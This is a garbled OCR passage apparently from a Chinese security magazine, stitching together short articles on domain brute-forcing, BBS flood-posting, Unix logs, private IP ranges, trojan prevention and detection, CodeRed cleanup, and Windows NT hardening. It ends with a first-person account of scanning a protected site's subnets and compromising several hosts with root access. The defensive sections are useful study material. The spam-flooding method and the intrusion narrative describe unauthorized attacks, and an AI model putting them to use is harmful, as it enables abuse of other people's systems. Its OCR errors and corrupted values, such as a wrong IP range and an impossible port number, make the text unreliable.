工具 来 做 , 制作 很 灵活 , 例如 : 做 个 后 缀 为 net,china

的 字典 文档 来 探测 有 多 酷 呀 。 下 面 打开 淹 雪 探测 域名

查询 的 位 置 , 填 好 字典 的 位 置 , 就 可 以 使 用 探测 测

党 路

试 。 一 般 的 找到 不 成 功 的 字符 特征 码 (不 知道 可 不 可

以 这 样 说 ) , 在 用 暴力 的 方法 提交 你 的 字典 里 的 数

据 。 这 样 凡是 没有 被 注册 过 的 域名 都 会 显示 出 来 。 当

然 利 用 这 个 特性 也 可 以 注册 邮箱 之 类 。

二 、 暴 力 灌水 到 bbs

一 般 的 bbs 大 多 是 用 ASP 或 CGI 等 脚本 语言

写 的 。 程 序 员 一 般 都 不 会 检查 是 否 有 恶意 的 用 户 提交

同样 的 内 容 。 像 提交 其 他 的 表单 一 样 , 填 好 user 和

password 的 内 容 后 , 把 内 容 的 表单 做 成 字典 (字典 的

制作 见 上 面 )。 我 们 开始 留言 test, 一 般 的 留言 后 都 会

出 现 谢谢 留言 的 特征 字符 (没有 也 可 以 ,随便 选 一 个

就 行 , 目 的 是 让 留言 可 以 继续 进行 )。 选 中 后 告诉 淹

雪 。 暴 力 提 交 的 步 又 我 就 不 说 了 , 主要 是 利用 工具 来

做 的 了 。

注意 有 事由 于 脚本 的 原因 ,,( 例 如 : 有 些 像 jsp 等

脚本 好 像 就 不 能 探测 ) ,cookie 的 原因 探测 可 能 不 成

功 ,请 自行 修改 设置 。 ”全

系统 :

(1) 连接 时 间 日 志 : 主要 记录 用 户 成 功 或 失败 的

登录 记录 、 退 出 记录 、 在 线 时 间 统 计 等 ,使 用 utmpe 当

前 记录 )、wtmp( 历 次 登录 、 退 出 记录 ) 、lastlog( 最 后 一

次 登录 记录 ) 三 个 文件 进行 记录 。

(2) 进程 日 志 : 光 有 连接 时 间 日 志 我 们 是 无 法 了

解 登录 用 户 到 底 在 系统 中 干 了 些 什 么 , 我 们 必须 开启

进程 日 志 (系统 默认 进程 日 志 是 不 打开 的 )。 用 touch

建立 进程 日 志文 件 ,accton 开启 进程 日 志 功能 ,last-

comm 查看 进程 日 志文 件 , 这 样 网 管 就 可 以 跟踪 用 户

直 吉

(3) 错 误 日 志 : 一 般 UNIKX 都 采用 syslog 来 纪录 系

” 统 事件 。 系 统 事件 ,可 以 写 到 一 个 文件 或 设备 中 ,或 给

用 户 发 送 一 个 信息 。 它 能 纪录 本 地 事件 或 通过 网 络 纪

录 另 一 个 主机 上 的 事件 。

2. 私有 了 下 :下 是 由 四 组 0 - 255 的 十 进 制 数 表示

的 网 络 标识 , 每 组 十 进 制 数 都 由 点 号 分 隔 。 按 照 用 途

区 分 , 可 分 为 和 有 下 和 公有 正 , 这 样 分 的 目的 是 因

为 , 在 制定 瑟 规范 时 , 没 有 预见 到 网 络 发 展 如 此 还

速 , 以 至 于 耳 地 址 迅速 被 消耗 , 为 了 缓解 这 种 情况 ,

同时 也 是 考虑 到 网 络 安全 问题 , 一 种 适用 于 局 域 网 的

耳 方 案 被 制定 出 来 了 。 它 在 A 类 、B 类 、C 类 中 各 划 出

了 一 段 地 址 ,只 用 于 局 域 网 内 部 使 用 ( 见 下 表 )。

10. 0. 0. 0 ~ 10. 255. 235. 255

172. 16. 0. 0 ~ 172. 31. 255$. 255

192. 168. 0. 0 ~ 192. 168. 255. 255

要 访问 INTERNET, 则 通过 代理 服务 器 的 公有 理

来 实现 , 这 样 , 一 方面 控制 了 局 域 网 内 部 与 INTER-

NET 的 连接 , 有 利于 网 络 安全 , 另 一 方面 , 私有 了 由

于 不 和 网 络 连 接 , 因此 可 被 局 域 网 重复 使 用 ,而 不 用

担心 网 络 冲突 ,缓解 了 了 使 用 的 紧张 局 面 。 全

特洛伊 木马 是 一 种 基于 远程 控制 的 黑客 工具 , 具

有 很 强 的 隐藏 性 和 危害 性 。 由 于 木马 都 是 在 我 们 先 运

行 了 Server 端 (服务 端 ), 然后 再 启动 Glient 端 (客户

端 ) 进 行 控 制 。 因 此 只 要 我 们 保持 警惕, 不 让 Server 端

有 机 会 进入 我 们 的 电脑 , 也 就 不 会 被 控制 了 ,以 下 是

我 总 结 的 防范 特洛伊 木马 的 二 十 条 铁 律 ,

以 下 六 招 是 预防 木马 的 常用 招数 :

1. 不 要 运行 来 历 不 明 的 软件 , 即 使 通过 一 般 反

病毒 软件 的 检查 也 不 要 轻易 运行 。 对 于 此 类 软件 , 要

用 如 Cleaner、LockDown、 木 马克 星 等 专门 的 黑客 程序

清除 软件 检查 。

2. 不 要 轻易 相信 别人 。 有 些 别有用心 的 人 ,经 党

装 作 “ 大 虾 ” 善意 的 帮助 人 , 给 您 发 各 种 软件 或 图 片 ,

在 您 运行 了 这 些 软件 后 就 后 悔 莫 及 了 。

3. 下 载 软件 到 有 名 的 大 站 点 ,不 要 去 小 站 点 。

4. 保持 警惕 性 , 对 不 熟悉 的 人 发 来 的 下 - Mail 不

要 轻易 打开 , 带 有 附件 就 更 要 小 心 了 。 另 外 就 算是 熟

人 发 来 的 王 - Mail, 对 其 中 的 附件 也 要 小 心 ,您 的 朋友

也 许 会 无 意 中 害 了 您 (他 的 电脑 被 感染 了 木马 , 但 他

有 可 能 自己 并 不 知道 )。

5. 一 定 要 给 自己 找 个 好 点 的 实时 监控 反 病 毒 软

件 , 同时 还 要 准备 如 Cleaner、LockDown、 木马 克星 等

反 黑 软件 ,对 下 载 的 软件 在 运行 前 用 它们 进行 检查 。

6. 安装 网 络 防火 墙 , 如 新 版 天 网 。 这 样 即 便 是 中

了 木马 , 当 有 程序 要 连 线 上 网 ,天 网 也 会 有 所 提示 , 因

此 就 有 可 能 发 现 木 马 (这 是 对 付 反弹 端口 木马 的 绝 好

方法 ,反弹 端口 木马 “网 络 神偷 ”因此 不 再 可 怕 )。

以 下 三 招 是 预防 浏览 网 页 中 木马 的 招数 ,

7. 及 时 为 系统 安装 补丁 和 疫苗 。 这 样 做 可 以 减

少 浏览 网 页 中 木马 的 可 能 ,会 相对 安全 一 些 。

8. 运行 下 ,点击 “工具 一 Internet 选项 一 安全 一

Intemet 区 域 的 安全 级 别 , 把 安全 级 别 由 “中 ” 改 为

部 。

9. 由 于 该 类 网 页 是 含有 有 害 代码 的 ActiveX 网

页 文件 ,因此 在 亚 设置 中 将 ActiveX 插件 和 控件 Java

脚本 等 全 部 禁止 就 可 以 避免 中 招 。 具 体 方法 是 :在 下

窗口 中 点 击 “ 工 具 一 Internet 选项 , 在 弹出 的 对 话 框 中

选择 “安全 "标签 , 再 点 击 “ 自 定义 级 别 按 钮 ,就 会 弹

出 “安全 设置 对 话 框 , 把 其 中 所 有 ActiveX 插件 和 控

件 以 及 Java 相关 全 部 选择 “禁用 " 即 可 。 不 过 ,这 样 做

在 以 后 的 网 页 浏览 过 程 中 可 能 会 造成 一 些 正常 使 用

ActiveX 的 网 站 无 法 浏览 。 唉 , 有 利 就 有 上 中, 您 还 是 自

己 看 着 办 吧 。

以 下 为 检查 特洛伊 木马 方法 :

10. 注意 检查 注册 表 。 如 果 党 得 系统 异常 , 请 检 ,

查 注 册 表 HKEY TIOCAL MACHINE\ SOFTWARE\ Mi-

crosoft\ Windows\ Curren Version 和 HKEY_ CUR-

RENT_ USER \Software\Microsoft\ Windows\CurrentVer-

sion 以 及 HKEY - USERS\. Default \Software\Microsoft'

Windows\CurentVersion 下 ,所 有 以 “Run” 开头 的 键 值

名 ,看 其 下 有 没有 可 疑 的 文件 名 。 如 果 有 ,就 需要 删除

相应 的 键 值 , 再 删除 相应 的 应 用 程序 。

JL. 注意 检查 启动 组 。 木 马 们 如 果 隐 藏 在 启动 组 ,

里 然 不 是 十 分 隐蔽 , 但 这 里 的 确 是 自动 加 载运 行 的 好

场所 , 因此 还 是 有 木马 喜欢 在 这 里 驻 留 的 。 启 动 组 对

应 的 文件 夹 为 :C: \windows \start menu \programs \start-

up, 在 注册 表 中 的 位 置 ; HKEY_CURRENT_USER \Soft-

ware \Microsoft\Windows \CurrentVersion \Explorer\SheH

Folders Startup =”(C:\ windows \ start menu\ pro-

grams \startup”。 要 注意 经 常 检 查 启动 组 哦 !

12. 注意 检查 Win. ini。 在 Win. ini 的 [windows] 字

段 中 有 启动 命令 “load = ”和 “run = ”, 在 一 般 情 况 下

“= ”后 面 是 空白 的 , 如 果 有 后 跟 程 序 , 比方 说 是 这 个

样子 :

run = c: \windows \nOtepaqd. exe

load = c: \windows \nOtepad. exe

要 小 心 了 ,这 个 n0tepad. exe( 注 意 在 “mn "后 是 数字

“0? 而 非 字 母 “o”) 很 可 能 是 木马 哦 。

13. 注意 检查 System. ini。System. ini 位 于 Win-

dows 的 安装 目录 下 ,其 [o 字段 的 “shell = 了 xplor-

er. exe" 是 木马 喜欢 的 隐藏 加 载 之 所 ,木马 通常 的 做 法

是 将 该 句 变 为 这 样 : shel = Explorer. exe n0tepad, exe,

注意 这 里 的 n0tepad. exe 就 是 木马 服务 端 程序 !

另外 , 在 System. ini 中 的 [386Enh] 字段 , 要 注意

检查 在 此 段 内 的 “driver = 路 径 \ 程 序 名 ”, 这 里 也 有 可

能 被 木马 所 利用 。

再 有 , 在 System.ini 中 的 [mic]、[drivers]、

[drivers32] 这 三 个 字段 , 这 些 字 段 起 到 加 载 驱动 程序

的 作用 , 但 也 是 添加 木马 程序 的 好 场所 , 现在 你 应 该

明白 也 要 注意 这 里 唆 。

14. 注意 检查 Autoexec. bat 和 Config. sys。 请 大 家

注意 ,在 C 盘 根 目录 下 的 这 两 个 文件 也 可 以 启动 木

马 。 但 这 种 加 载 方式 一 般 都 需要 控制 端 用 户 与 服务 端

建立 连接 后 , 将 已 添加 木马 启动 命令 的 同名 文件 上 传

到 服务 端 覆盖 这 两 个 文件 才 行 ,而且 采 用 这 种 方式 不

是 很 隐藏 , 容 易 被 发 现 , 虽 然 在 Autoexec. bat 和 Con-

fig. sys 中 加 载 的 木马 并 不 多 见 , 但 也 不 能 因此 而 掉 以

轻 心 哦 。

15. 注意 检查 C: 、windows\、winstart bat 文件 。

Winstart. bat 是 一 个 特殊 性 丝毫 不 亚 于 Autoexec. bat

的 批 处 理 文件 , 也 是 一 个 能 自动 被 Windows 加 载运 行

的 文件 。 它 多 数 情况 下 为 应 用 程序 及 Windows 自动 生

成 , 在 执行 了 Win. com 并 加 载 了 多 数 驱 动 程序 之 后 开

始 执行 (这 一 点 可 通过 启动 时 按 F8 键 再 选择 逐步 跟踪

启动 过 程 的 启动 方式 得 知 )。 由 于 Autoexec. bat 的 功能

可 以 由 观 instart. bat 代替 完成 ,因此 木马 完全 可 以 像 在

Autoexec. bat 中 那样 被 加 载运 行 ,危险 由 此 而 来 。

16. 注意 *x . INI 文件 。INI 文件 即 应 用 程序 的 启

动 配置 文件 , 控 制 端 利 用 这 些 文件 能 启动 程序 的 特

点 , 将 制作 好 的 带 有 木马 启动 命令 的 同名 文件 上 传 到

服务 端 , 覆盖 同名 文件 , 这 样 就 可 以 达到 启动 木马 的

目的 了 。 因 此 要 特别 注意 这 些 INI 文件 (如 wininit ini

等 )。

17. 注意 系统 中 常用 文件 长 度 , 木 马 如 果 捆 绑 在

其 中 , 长 度 就 会 发 生变 化 , 这 是 发 现 捆绑 文件 型 木马

的 好 方法 。

18. 注意 上 网 时 电脑 所 用 端口 , 对 1024 端口 以

上 的 不 连续 端口 要 密切 注意 。 可 以 通过 键入: netstar

-a 命令 来 观察 与 你 机 器 相连 的 当前 所 有 通信 端口 ,

当 有 具体 的 卫 正 使 用 不 常见 的 端口 (一般 大 于 1024)

与 你 通信 时 , 这 一 端口 很 可 能 就 是 特洛伊 木马 的 连接

端口 。 常 见 木 马 默认 连接 端口 : 冰河 7626; BO2000:

54320; Netspy3. 0: 7306; 黑洞 2001: 2001; WAY2. 4;

8011; 初恋 情人 : 8311; 网 络 公牛 : 234444; 聪明 基因 :

7511;YAI : 1024; Sub seven: 1043 6678 6711 27374;

Netbus: 12345.……

19. 注意 检查 进程 。 用 查看 进程 软件 来 查看 , 如

果 发 现 有 可 蜂 进 程 , 快 看 看 其 对 应 文件 在 硬盘 中 的 哪

个 文件 夹 下 ,然后 用 反 病 毒 `. 反 黑 软 件 进行 检查 。

最 后 一 条 为 特别 建议 :

20. 发 现 情况 不 对 立即 断 线 。 尽 管 造成 上 网 速度

突然 变 慢 的 原因 有 很 多 , 但 有 理由 怀疑 由 特洛伊 木马

造成 的 也 是 有 根据 的 。 当 人 侵 者 使 用 特洛伊 的 客户 端

程序 访问 你 的 机 器 时 , 会 与 你 的 正常 访问 抢占 带宽 ,

特别 是 当 人 侵 者 从 远 端 下 载 用 户 硬盘 上 的 文件 时 , 正

常 访 问 会 变 得 奇 慢 无 比 ! 这 时 , 你 可 以 双击 任务 栏 右

下 角 的 连接 图 标 , 仔细 观察 一 下 “已 发 送 字 节 ”项 , 如

果 数 字 变化 成 1 ~ 3kbps( 每 秒 1 ~3 千 字 节 ), 几 乎 可

以 确认 有 人 在 下 载 你 的 硬盘 文件 ! 除 非 你 正在 使 用 fp

功能 。 当 发 现 上 述 可 疑 迹象 后 , 你 所 能 做 的 就 是 立即

断 线 ,然后 对 硬盘 有 无 特洛伊 木马 进行 认真 的 检查 。

只 要 你 能 够 按照 上 面 所 说 的 二 十 条 建议 去 做 了 ,

你 的 电脑 中 木马 的 可 能 性 就 微 乎 其 徽 了 , 木马 将 离 你

远 去 ! ”等

下 面 是 在 没有 专门 杀毒 工具

时 手动 清除 的 步骤 :

1. 清除 的 Web 服务 器 中 的

两 个 后 门 文件 : /msadcyroot. exe,

/scripts/Troot. exe

这 两 个 文件 的 物理 地 址 一 般

C: NMinetpub \scripts \root. exe

C:\ progra~ 1\_ common ~1'

system MMSADC \root. exe

2. 清除 本 地 硬盘 中 c: \ex-

plorer. exe 和 d: \explorer. exe ,

先 要 杀 掉 进程 explorer. exe,

打开 任务 管理 器 ,选择 进程 。 检查

是 否 进程 中 有 两 个 “exploer. exe”,

如 果 您 找到 两 个 “exploer. exe”, 说

明 木 马 已 经 在 您 的 机 器 上 运行

了 , 在 菜单 中 选择 查看 一 选 定 列

一 线程 计数 , 按 确定 。 这 时 您 会 发

现 显示 框 中 增加 了 新 的 一 列 “ 线

程 数 ”。 检 查 两 个 “exploer. exe”,

显示 线程 数 为 “1 的 “exploer. exe”

就 是 木马 程序 。 您 应 当 结束 这 个

进程 。 之 后 ,您 就 可 以 删除 掉 C:\

exploer. exe 和 D: \exploer. exe 了 ,

这 两 个 程序 都 设置 了 隐藏 和 只 读

属性 。 您 需要 设置 “资源 管理 器 ”

的 查看 一 选项 一 隐藏 文件 为 “ 显

示 所 有 文件 ”才能 看 到 它们 。

3. 清除 病毒 在 注册 表 中 添

加 的 项 目 :

HKELMA\ _ SOFTWARE\ Mi-

crosoft\ Windows NT\ CurrentVer-

Sion\Winlogon'

删除 键 : SFCDisable 键 值 为 :

OFFFEFFF9Dh

或 将 键 值 改 为 0( 设 置 为

OFFFFFF9Dh 后 , 将 在 登陆 时 禁止

系统 文件 检查 )

HKELMASYSTIEMA\ CurrentCon-

trolSet \ Services\ 双 3SVC\ Parame-

ters \Virtual Roots\

键 : Scripts 键 值 为 :,,217 改

为 ,,201

(这 个 键 默认 就 是 被 打开 的 ,

不 过 如 果 没 有 特别 需要 的 话 , 可

以 关闭 )

(因为 很 多 漏洞 都 是 利用 了

这 个 虚拟 目录 下 的 文件 攻击 的 。)

HKELMA\SYSTEMA\ CurrentCon-

trolSet\ Services\ 双 3SVC\ Parame-

ters\Virtual Roots\

键 : msadc 键 值 为 :,,217 改

为 ,,201

( 同 Scripts )

HKRLMA\SYSTEMA CurrentCon-

trolSet \ Services\ W3SVCA\ Parame-

ters\Virtual Roots'

删除 键 :e 键 值 为 :ce: \v ,217

( 它 将 本 地 硬盘 中 的 C 盘 在

web 中 共享 为 c)

HKLMASYSTEMA\ CurrentCon-

trolSet \ Services\ 双 3SVC\ Parame-

ters \Virtual Roots、\

删除 键 :d 键 值 为 :d: \, ,217

( 它 将 本 地 硬盘 中 的 D 盘 在

web 中 共享 为 d)

如 果 不 删 除 注 册 表 中 的 以 上

键 , 中 毒 服 务 器 的 本 地 硬盘 C、D

将 被 完全 控制 。

和 重新 启动 系统 , 以 确保

CodeRed 彻底 清除 。

和 党 志和 昌 作 起 舍 雪人 于 雪人 属 寺 四 雪 半 雪 才 汪 本

必 作 局 优 人 乱 灶 直 中 才 志 志 起 雪人 才 站

在 Internet 的 广泛 应 用 中 ,WindowsNT 作为 一 种

操作 平台 在 人 们 的 心目 中 占有 一 席 之 地 , 但 是 它 的 安

全 性 一 直 是 使 NT 管理 员 深 感 不 安 的 问题 。 任 何 一 位

略 懂 网 络 技术 的 用 户 , 只 要 在 运行 Windows95 的 环境

下 敲 入 命令 :“net Q:\\ SERVER -NAME\ SHARE-

NAME” ,就 能 通过 网 络 存 取 服 务 器 的 启动 分 区 ! 为 了

确保 安全 性 ,以 下 7 项 措施 可 供 NT 管理 员 人 参考 。

1 宁可 用 NTEFS ,而 不 用 KEAT 格式

NTFS(NT 文件 系统 ) 可 以 对 文件 和 目录 使 用 A-

CL 存 取 控 制 表 , ACL 可 以 管理 共享 目录 的 合理 使 用 ,

而 FAT( 文 件 分 配 表 ) 却 只 能 管理 共享 级 的 安全 。 出 于

安全 考虑 , 您 必须 处 处 设置 尽 可 能 多 的 安全 措施 , 凡

是 与 Internet 相连 的 WindowsNT 计算 机 都 应 该 使 用 -

NTFS。 使 用 NTFSACL 的 好 处 在 于 ,如 果 它 授权 用 户 对

某 分 区 具有 全 部 存 取 权限 , 但 共享 级 权限 为 “只 读 ”,

则 最 终 的 有 效 权 限 为 “只 读 ”。WindowsNT 取 NTFSACL

和 共享 权限 的 交集 。 在 实施 这 样 的 网 络 方案 时 , 您 最

好 限制 mtermet 服务 器 的 共享 , 但 是 如 果 非 要 与 Inter-

net 服务 器 交换 文件 , 则 可 借助 于 NTFS。 一 旦 建立 新

的 共享 权限 , 不 要 忘记 修改 由 NT 指定 的 缺 省 权 限 ,

否则 Everyone 用 户 组 就 能 享有 “完全 控 制 ” 的 共享 权

限 。 那 些 已 经 使 用 了 FAT 的 用 户 ,在 x86 的 NT 系统

上 本 以 用 convert 命令 将 启动 卷 升级 为 NTFS。

2. 将 系统 管理 员 账 号 改名

对 于 试图 猜测 口令 的 非法 用 户 ,NT 的 UserMan-

ager 可 以 设置 防范 措施 , 例如 5 次 口令 输入 错误 后 就

禁止 该 账号 登录 。 问题 在 于 系统 管理 员 这 个 最 重要 的

账号 却 用 不 上 这 项 防范 措施 。 即 使 将 系统 管理 员 的 权

限 全 部 授予 某 个 用 户 账号 , 并 且 只 使 用 该 用 户 账号 进

行 管 理 , 但 是 由 于 系统 管理 员 账 号 本 身 不 能 删 掉 或

废止 , 因而 非法 用 户 仍 然 可 以 对 系统 管理 员 账 号 进行

口令 攻击 。

一 种 值得 推荐 的 方法 是 将 系统 管理 员 账号 的 用

户 名 由 原先 的 “Administrator” 改 为 一 个 无 意义 的 字符

串 。 这 样 要 登录 的 非法 用 户 不 但 要 猜 口 令 , 还 要 先 猜

出 对 方 用 户 名 。 这 种 改名 功能 在 UserManager 的

UserProperties 对 话 框 中 并 没有 设置 , 我 们 可 以 从

“User ”类 “Rename” 荣 单 选项 中 实现 这 一 功能 。

用 于 提供 internet 公共 服务 的 计算 机 不 需要 , 也

不 应 该 有 除了 系统 管理 用 途 之 外 的 其 他 用 户 账 号 的

存在 。 因 此 ,应 该 废止 Guest 账号 ,禁用 或 限制 所 有 的

其 他 用 户 账 号 。

如 果 我 们 用 的 是 NT4.0, 可 以 用 ResourceKit 中 提

供 的 工具 封锁 联机 系统 管理 员 账 号 。 这 种 封锁 只 对 由

网 络 过 来 的 非法 登录 起 作用 。 账 号 一 旦 被 封锁 掉 , 系

统管 理 员 还 可 以 通过 本 地 登录 重新 设置 封锁 特性 。

3. 打开 审计 系统

如 何 才能 知道 在 NT 环境 中 安全 性 是 否 已 经 被 攻

击 或 攻破 呢 ? NT 的 事件 审计 系统 就 设 有 此 项 功能 ,但

该 系统 需要 被 激活 。UserManager 中 的 “了 Policies” 大

“Audit” 菜 单 选 项 可 以 激发 控制 审计 事件 的 屏幕 。 问

题 的 关键 在 于 您 应 当 收集 有 用 的 信息 。 您 可 以 审计 各

种 操作 非法 和 授权 登陆 成 功 和 失败 的 情况 。 失 败 的 情

况 通常 比 成 功 的 情况 少 得 多 , 但 从 安全 性 的 方面 考

虑 ,失败 事件 更 值得 我 们 注意 。 另 外 ,不 常用 的 操作 也

值得 注意 , 如 安全 性 策略 的 改变 和 再 启动 往往 反映 了

未 经 授权 用 户 的 行为 。NT 允许 跟踪 诸如 WileAoccess、

UseofUserRights 和 ProcessTracking 等 成 功 的 操作 , 但

它 需 要 大 量 的 存储 空间 , 而 且 对 跟踪 所 得 的 数据 进行

分 析 也 不 是 一 件 容易 的 事情 。 使 用 审计 功能 , 最 关键

的 一 步 是 要 查看 NT 在 正常 运行 时 所 记录 的 事件 日

志 , 它 能 帮助 我 们 发 现 问题 的 前 兆 。 审 计 日 志 本 身 也

需要 保护 , 因为 非法 用 户 在 进入 系统 之 后 通常 会 抹 掉

其 活动 踪迹 。 首 先 , 我 们 应 该 随机 的 或 定时 对 备份 日

志文 件 进行 备份 。 但 是 如 果 这 些 备份 仍然 是 联机 的 ,

则 也 有 可 能 被 非法 用 户 获 取 到 。 一 个 比较 好 的 解决 方

法 是 将 审计 事件 记录 同时 制 成 硬 拷贝 , 或 者 将 其 通过

也- mail 发 送 给 系统 管理 员 。NTPea 为 我 们 提供 了 一

个 很 友好 地 阅读 事件 日 志 的 模块 。

ODNTIYAOT

[一

衣 人

4. 禁用 TCP/IP 上 的 NetBIOS 服务

连接 到 Intemet 上 的 NT 支持 NetBEUL 和 TCPZIP

两 种 传输 协议 的 Windows 网 络 功能 。 那 么 , 什 么 是

Windows 网 络 功能 呢 ? 它 就 是 所 有 要 求 \\NAME 句法

形式 的 操作 ,包括 目录 和 打印 机 共享 .NetDDE 和 远程

管理 。 通 过 Internet 连 到 某 个 驱动 器 编辑 或 寄存 内 容 ,

' 只 需要 在 本 地 Imhosts 文件 里 构造 目标 站 NetBIOS 名

与 其 卫 地 址 之 间 的 映 象 。 例 如 ,使 用 Windows95 中 的

EventViewer 和 UserManager 就 可 以 管理 Internet 上 的

其 他 服务 器 , 这 种 特性 为 管理 员 提 供 了 方便 , 但 同时

也 使 非法 用 户 找到 了 可 乘 之 机 。

令 人 庆幸 的 是 , 微 软 在 NT 上 加 强 对 TCP/ 下 上

的 .NetBIOS 严密 的 管理 控制 。 您 可 以 使 用 网 络 控制 面

板 中 的 装订 对 话 框 禁用 多 种 基于 NetBIOS 服务 与

TCPZP 之 间 的 装订 。 由 于 NT 的 网 络 服务 同时 运行 多

种 传输 功能 , 做 上 述 废 止 操 作 的 计算 机 之 间 可 以 使 用

Server、Workstation 和 其 他 服务 进行 对 话 , 因为 这 些 对

话 不 从 Internet 上 走 ,而 是 通过 NetBEUI 通 道 。 当 然 ,

完成 了 这 种 废止 操作 之 后 , 就 不 允许 任何 人 做 远程 驱

动 器 安装 并 远程 编辑 或 寄存 内 容 。

5. 关闭 不 必要 的 向 内 TCP/ 严 端口

一 且 非 法 用 户 进 入 系统 并 得 到 管理 员 权限 之 后 ,

他 定 要 想 办 法 恢复 管理 员 刻 意 废 止 的 NBT(TCP/ 了

上 的 NetBIOS) 装订 。 管理 员 应 该 使 用 路 由 器 作为 另

-一道 防线 。 假 设 有 个 NT 服务 器 没有 太 多 的 防护 系统 ,

暴露 在 防火 墙 以 外 , 其 作用 是 提供 诸如 页 eb 和 了 TP

之 类 的 公共 服务 。 这 种 情况 下 只 须 保 留 两 条 路 由 器 到

服务 器 的 向 内 路 径 : 端口 80 的 HITP 和 端口 21 的

FTP。 路 由 器 应 该 并 能 够 阻塞 所 有 其 他 的 向 内 途径 。 如

果 管 理 员 有 调整 包 过 滤 规 则 的 权 限 , 他 可 能 会 给 自

己 多 留 一 点 便利 。 例 如 ,在 取消 全 部 非 Web 和 非 FTP

服务 时 留 一 个 例外 , 即 用 于 远程 管理 的 端口 137、

138、139 从 了 地 址 来 的 NBT 途径 。 虽 然 一 般 来 说 只

有 管理 员 才 能 远程 操作 服务 器 , 但 事实 上 发 现 了 管理

员 和 了 下 地 址 之 间 这 种 连接 的 非法 用 户 也 能 盗用 该 路

径 。 非法 用 户 若 想 知 道 主 系统 的 卫 地 址 ,通常 会 按 如

下 步骤 进 行 :

1. 了 解 目标 服务 器 管理 员 的 情况 。

2. 针对 管理 员 的 兴趣 爱好 ,做 个 假 Web 页 面 。

3. 发 送 卫 - mail 邀请 他 访问 该 页 面 。

4. 截获 主 系统 的 卫 地 址 。

5. 用 JavaScript 或 AcetiveX 铬 进 该 系统 。

这 种 管理 员 为 自己 开 后 门 、 留 一 条 路 径 的 做 法 ,

其 安全 性 只 依赖 于 别人 不 知道 耻 地 址 。 但 这 种 安全

性 在 非法 用 户 系 统 耐心 的 猜 试 攻势 面前 也 是 极 不 安

全 的 ,所 以 要 禁止 一 切 多 余 的 向 内 路 径 。

6. 蔡 用 Access from Network 的 便利

在 缺 省 情况 下 ,NT 授予 Everyone 用 户 组 Access

fom Network( 从 网 络 存 取 ) 的 权限 。 取 消 了 该 权限 虽

然 会 阻塞 Windows 的 全 部 网 络 服务 , 但 仍然 可 以 支持

Web 服务 。 在 一 个 NTWeb 服务 器 上 , 既 能 以 SYSTEM

方式 运行 , 也 能 以 本 地 用 户 方式 运行 , 这 两 种 状态 在

NT 看 来 都 不 存在 远程 用 户 。 由 于 与 NT 连用 的 FTP 服

务 器 要 求 用 户 进行 网 络 登 录 , 所 以 这 种 情况 下 就 无 法

使 用 FTP 服务 器 ,但 包括 Microsoft Intermet Information

Server(IS) 在 内 的 其 他 FTP 服务 器 是 采用 本 地 登录

的 ,并 不 受 取消 Accessfrom Network 权限 的 影响 。 所 以

Access from Network 权限 取消 后 运行 Web 和 FTP 服

务 , 不 但 通过 Internet 的 、 而 且 本 地 使 用 NetBEUI 协

议 的 文件 共享 都 被 阻塞 掉 了 。 当 然 还 有 一 种 方案 , 只

给 管理 员 本 人 账号 留 有 Access from Network 的 权限 。

7. 不 可 轻易 发 布 信息

有 人 认为 ,在 mternet 上 没 人 知道 你 在 运行 Win-

dowsNT。 然 而 事实 并 非 如 此 ,如 联机 FTP 服务 是 这 样

宣布 连接 的 :

ftp> open ftp. myhost. com

Connected to ftp. myhost. com

220 ftp WindowsNT FTP Server

(Version3. 51 )

正常 的 用 户 不 需要 以 上 信息 , 而 非法 用 户 却 能 根

据 该 信息 有 效 地 对 特定 操作 系统 进行 攻击 。ISFTP 服

务 也 发 布 同样 明显 的 消息 :

Connected to ftp. myhost. com.

220 ftp Microsoft, FTP Service

(Version2. 0)

上 面 两 种 情况 表明 您 连接 在 NT 上 工作 以 及 您 运

行 的 NT 是 什么 版 本 。 所 以 ,如 果 您 不 想 为 非法 用 户 攻

击 您 的 系统 提供 便利 的 话 ,最 好 不 要 轻易 发 布 信息 。

人 们 普遍 认为 NT 在 安全 性 方面 不 如 Unix。 难 道

是 NT 本 身 真 的 不 如 Unix 安全 吗 ? 答案 是 否定 的 。 原

因 在 于 多 年 以 来 ,Unix 管理 员 已 经 学 会 了 在 复杂 的

Internet 环境 中 实现 Unix 服务 , 所 以 NT 管理 员 也 应

该 学 习 在 Intermet 上 保护 自己 的 系统 , 从 而 使 自己 的

WindowsNT 高 枕 无 忧 。 狼

很 久 以 前 便 知 道 这 是 一 个 防范 非常 好 的 网 站 , 它

的 防火 墙 体 系 对 Web 服务 器 禁止 了 除 80 端口 Web

外 的 任何 外 部 连接 ,甚至 连 收 集 信 息 的 常规 性 扫描 都

不 能 进行 。

根据 经 验 , 这 样 的 系统 往往 是 多 台 主 机 协同 工作

的 ,而 且 防 火 墙 对 同一 局 域 网 内 其 他 主机 对 外 服务 的

限制 往往 较 少 一 些 。4 月 2 日 中 午 , 我 们 对 其 所 在 一

个 C 段 正 内 的 所 有 主机 进行 了 扫描 , 结 果 让 我 们 大

失 所 望 , 几乎 所 有 的 主机 都 拒绝 了 外 部 连接 , 甚至 连

ping 都 不 行 ( 后 来 进去 后 发 现 的 )。 而 且 , 我 们 把 范围

扩大 到 相 邻 C 段 时 ,情况 还 是 那样 。 这 让 我 们 非常 的

失望 , 但 我 们 还 是 例 行 地 保存 了 扫描 纪录 (后 来 这 起

到 了 非常 大 的 作用 )。

4 月 3 日 姿 晨 (美国 工作 时 间 ) ,我 们 第 二 次 对 其

C 段 及 其 相 邻 段 下 进行 了 扫描 , 在 对 比 4 月 2 日 的

扫描 结果 后 , 我 们 惊喜 地 发 现 , 在 这 一 网 段 内 , 增加

了 37 人 台电 脑 , 这 其 中 很 可 能 有 接 人 局 域 网 的 笔记 本

电脑 , 只 要 能 找到 它 , 就 非常 有 希望 绕 过 防火 墙 进入

其 网 络 内 部 了 , 因为 随身 的 笔记 本 电脑 , 为 了 使 用 方

便 , 其 安全 性 往往 是 很 低 的 ,而 对 内 部 网 的 访问 权限

又 往往 是 很 高 的 (这 是 大 型 网 络 的 通病 )。

随后 的 两 天 时 间 内 , 我 和 " 寒 冰 ”对 选 定 的 37 个

下 发 劲 了 全 面 的 攻击 , 虽然 也 攻 下 不 少 , 而 且 其 中 还

有 几 人 台 得 到 了 root 权限 , 但 当 我 们 满怀 希望 的 在 “ 扩

下 连接 Web 服务 器 时 , 屏 幕 总 是 把 让 人 失望 的

”显示 在 我 们 的 眼前 , 直 到 把 目标 转移 到 卫 27

(我 们 对 37 个 正 进 行 了 编号 ) 后 , 情况 才 有 所 好 转 。

